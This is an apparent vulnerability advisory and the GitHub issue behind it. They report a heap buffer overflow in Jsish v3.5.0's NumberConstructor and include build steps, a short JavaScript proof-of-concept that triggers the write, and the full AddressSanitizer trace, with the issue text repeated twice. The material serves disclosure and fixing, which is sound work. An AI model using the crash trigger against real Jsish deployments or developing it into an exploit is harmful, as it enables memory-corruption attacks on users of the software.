Jsish v3.5.0 was discovered to contain a heap buffer overflow via NumberConstructor at src/jsiNumber.c.
cpe:2.3:a:jsish:jsish:3.5.0:*:*:*:*:*:*:*
E97897F2-55BD-40DD-9F33-7980D892A505
OR
###### Jsish revision

Commit: [9fa798e](https://github.com/pcmacdon/jsish/commit/9fa798e35d7a753672d1bd16e98b124e7b2d2899)

Version: v3.5.0



###### Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)



###### Build steps

```bash
export CFLAGS='-fsanitize=address'
make
```



###### Test case

```javascript
var a = [
    [0]
];
var actual = (Number).bind("abcdab", [
    [0]
].indexOf("abcdab", 99))();
```

​	

###### Execution steps & Output

```bash
$ ./jsish/jsish poc.js

==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x604000018b40 at pc 0x55803d35220a bp 0x7fff119980c0 sp 0x7fff119980b0
WRITE of size 4 at 0x604000018b40 thread T0
    #0 0x55803d352209 in NumberConstructor src/jsiNumber.c:93
    #1 0x55803d325818 in jsi_FuncCallSub src/jsiProto.c:244
    #2 0x55803d2a2fec in jsi_FunctionInvoke src/jsiFunc.c:777
    #3 0x55803d2a2fec in Jsi_FunctionInvoke src/jsiFunc.c:789
    #4 0x55803d31ead6 in jsi_FuncBindCall src/jsiProto.c:299
    #5 0x55803d325818 in jsi_FuncCallSub src/jsiProto.c:244
    #6 0x55803d5ef71a in jsiFunctionSubCall src/jsiEval.c:796
    #7 0x55803d5ef71a in jsiEvalFunction src/jsiEval.c:837
    #8 0x55803d5ef71a in jsiEvalCodeSub src/jsiEval.c:1264
    #9 0x55803d60315e in jsi_evalcode src/jsiEval.c:2204
    #10 0x55803d607274 in jsi_evalStrFile src/jsiEval.c:2665
    #11 0x55803d2f666a in Jsi_Main src/jsiInterp.c:936
    #12 0x55803dafb03a in jsi_main src/main.c:47
    #13 0x7ff56e70cbf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6)
    #14 0x55803d28a969 in _start (/usr/local/bin/jsish+0xe8969)

0x604000018b40 is located 1 bytes to the right of 47-byte region [0x604000018b10,0x604000018b3f)
allocated by thread T0 here:
    #0 0x7ff56f37bd28 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded28)
    #1 0x55803d2fbaa4 in Jsi_Calloc src/jsiUtils.c:57

SUMMARY: AddressSanitizer: heap-buffer-overflow src/jsiNumber.c:93 in NumberConstructor
Shadow bytes around the buggy address:
  0x0c087fffb110: fa fa fd fd fd fd fd fa fa fa 00 00 00 00 00 00
  0x0c087fffb120: fa fa fd fd fd fd fd fa fa fa fd fd fd fd fd fa
  0x0c087fffb130: fa fa fd fd fd fd fd fa fa fa fd fd fd fd fd fa
  0x0c087fffb140: fa fa 00 00 00 00 00 fa fa fa 00 00 00 00 00 07
  0x0c087fffb150: fa fa 00 00 00 00 00 00 fa fa fd fd fd fd fd fa
=>0x0c087fffb160: fa fa 00 00 00 00 00 07[fa]fa 00 00 00 00 00 00
  0x0c087fffb170: fa fa fd fd fd fd fd fa fa fa fd fd fd fd fd fa
  0x0c087fffb180: fa fa fd fd fd fd fd fa fa fa fd fd fd fd fd fa
  0x0c087fffb190: fa fa fd fd fd fd fd fa fa fa fd fd fd fd fd fa
  0x0c087fffb1a0: fa fa 00 00 00 00 00 00 fa fa fd fd fd fd fd fa
  0x0c087fffb1b0: fa fa fd fd fd fd fd fa fa fa fd fd fd fd fd fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb

```
Credits: Found by OWL337 team.
Heap-buffer-overflow src/jsiNumber.c:93 in NumberConstructor
This is a GitHub Issue
repo:jsish
owner:pcmacdon
Title : Heap-buffer-overflow src/jsiNumber.c:93 in NumberConstructor
Issue date:

--- start body ---
###### Jsish revision

Commit: [9fa798e](https://github.com/pcmacdon/jsish/commit/9fa798e35d7a753672d1bd16e98b124e7b2d2899)

Version: v3.5.0



###### Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)



###### Build steps

```bash
export CFLAGS='-fsanitize=address'
make
```



###### Test case

```javascript
var a = [
    [0]
];
var actual = (Number).bind("abcdab", [
    [0]
].indexOf("abcdab", 99))();
```

​	

###### Execution steps & Output

```bash
$ ./jsish/jsish poc.js

==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x604000018b40 at pc 0x55803d35220a bp 0x7fff119980c0 sp 0x7fff119980b0
WRITE of size 4 at 0x604000018b40 thread T0
    #0 0x55803d352209 in NumberConstructor src/jsiNumber.c:93
    #1 0x55803d325818 in jsi_FuncCallSub src/jsiProto.c:244
    #2 0x55803d2a2fec in jsi_FunctionInvoke src/jsiFunc.c:777
    #3 0x55803d2a2fec in Jsi_FunctionInvoke src/jsiFunc.c:789
    #4 0x55803d31ead6 in jsi_FuncBindCall src/jsiProto.c:299
    #5 0x55803d325818 in jsi_FuncCallSub src/jsiProto.c:244
    #6 0x55803d5ef71a in jsiFunctionSubCall src/jsiEval.c:796
    #7 0x55803d5ef71a in jsiEvalFunction src/jsiEval.c:837
    #8 0x55803d5ef71a in jsiEvalCodeSub src/jsiEval.c:1264
    #9 0x55803d60315e in jsi_evalcode src/jsiEval.c:2204
    #10 0x55803d607274 in jsi_evalStrFile src/jsiEval.c:2665
    #11 0x55803d2f666a in Jsi_Main src/jsiInterp.c:936
    #12 0x55803dafb03a in jsi_main src/main.c:47
    #13 0x7ff56e70cbf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6)
    #14 0x55803d28a969 in _start (/usr/local/bin/jsish+0xe8969)

0x604000018b40 is located 1 bytes to the right of 47-byte region [0x604000018b10,0x604000018b3f)
allocated by thread T0 here:
    #0 0x7ff56f37bd28 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded28)
    #1 0x55803d2fbaa4 in Jsi_Calloc src/jsiUtils.c:57

SUMMARY: AddressSanitizer: heap-buffer-overflow src/jsiNumber.c:93 in NumberConstructor
Shadow bytes around the buggy address:
  0x0c087fffb110: fa fa fd fd fd fd fd fa fa fa 00 00 00 00 00 00
  0x0c087fffb120: fa fa fd fd fd fd fd fa fa fa fd fd fd fd fd fa
  0x0c087fffb130: fa fa fd fd fd fd fd fa fa fa fd fd fd fd fd fa
  0x0c087fffb140: fa fa 00 00 00 00 00 fa fa fa 00 00 00 00 00 07
  0x0c087fffb150: fa fa 00 00 00 00 00 00 fa fa fd fd fd fd fd fa
=>0x0c087fffb160: fa fa 00 00 00 00 00 07[fa]fa 00 00 00 00 00 00
  0x0c087fffb170: fa fa fd fd fd fd fd fa fa fa fd fd fd fd fd fa
  0x0c087fffb180: fa fa fd fd fd fd fd fa fa fa fd fd fd fd fd fa
  0x0c087fffb190: fa fa fd fd fd fd fd fa fa fa fd fd fd fd fd fa
  0x0c087fffb1a0: fa fa 00 00 00 00 00 00 fa fa fd fd fd fd fd fa
  0x0c087fffb1b0: fa fa fd fd fd fd fd fa fa fa fd fd fd fd fd fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb

```
Credits: Found by OWL337 team.
--- end body ---

comments :
--- start comments ---

--- end comments ---